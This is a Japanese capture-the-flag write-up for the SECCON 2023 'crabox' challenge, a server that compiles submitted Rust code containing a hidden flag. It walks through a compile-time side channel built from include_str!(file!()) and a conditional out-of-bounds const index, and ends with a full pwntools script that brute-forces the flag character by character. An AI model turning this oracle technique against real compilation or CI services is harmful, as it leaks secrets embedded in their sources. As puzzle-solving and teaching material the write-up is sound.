[sandbox] crabox (SECCON CTF 2023 Quals) writeup

---

- Source: SECCON CTF 2023 Quals
- Author: [ark](https://x.com/arkark_)

---

任意のRustコードを送るとコンパイルしてくれるサーバー。

<details><summary>app.py</summary>

```py
import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")
```

</details>

コンパイルが成功したか否かだけを教えてくれるらしい。Ferrisくんかわいいね。
```sh
$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
println!("hello, world!");
__EOF__
:)

$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
hoge
__EOF__
:(
```

プログラム内に埋め込まれているflagをどうにかして読み出したい。
```py
TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()
```

Rustでは、`include_str!()`マクロによって引数で指定したファイルに含まれる文字列を、`file!()`マクロによってそのファイルの絶対パスを取得できる。よって、以下のようなコードでそのプログラム自身を取得することが可能。
```rs
fn main() {
    println!("{}", include_str!(file!()))
}
```

次に、この問題ではコンパイルエラーが発生したか否かのみしか返してくれないため、条件に基づいて意図的にコンパイルエラーを起こす方法を考える。色々調べたり試したりしたが、最終的には配列外参照によるエラーを利用することにした。
```rs
fn main() {
    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }

    const _:() = assert_const(true);
}
```

これらを組み合わせて、ソースコードのn+1文字目が指定したものであるかどうかによってコンパイルエラーを引き起こすことができた。
```rs
fn main() {
    const SOURCE: &str = include_str!(file!());

    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }
    
    const fn check(index: usize, c: char) {
        assert_const(SOURCE.as_bytes()[index] as char == c)
    }
    
    const _:() = check(0, 'f');
}
```

あとはflagの始まりのindexを頑張って特定して1文字ずつブルートフォースするだけ。

最終的なsolverはこうなる。
```py
from pwn import *

PAYLOAD = """
    const SOURCE: &str = include_str!(file!());

    const fn assert_const(condition: bool) {
        [()][condition as usize];
    }
    
    const fn check(index: usize, c: char) {
        assert_const(SOURCE.as_bytes()[index] as char == c)
    }
    
    const _:() = check({{INDEX}}, '{{CHAR}}');
"""

# disable info log
context.log_level = "error"

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
flag = "SECCON{"

# 324 is start index of the flag
for i in range(324, 512):
  # skip "SECCON{"
  i += 7

  for j in range(len(charset)):
    p = remote("localhost", 1337)

    p.recvuntil(b"(the last line must start with __EOF__):\n")
    p.sendline(PAYLOAD.replace("{{INDEX}}", str(i)).replace("{{CHAR}}", charset[j]) + "__EOF__")

    recv = p.recvall()
    if b":)" in recv:
      p.close()
      continue

    flag += charset[j]
    print(flag)
    p.close()
    break

  if flag[-1] == "}":
    break
```

実行してしばらく待つとflagが得られた。
`SECCON{ctfe_i5_p0w3rful}`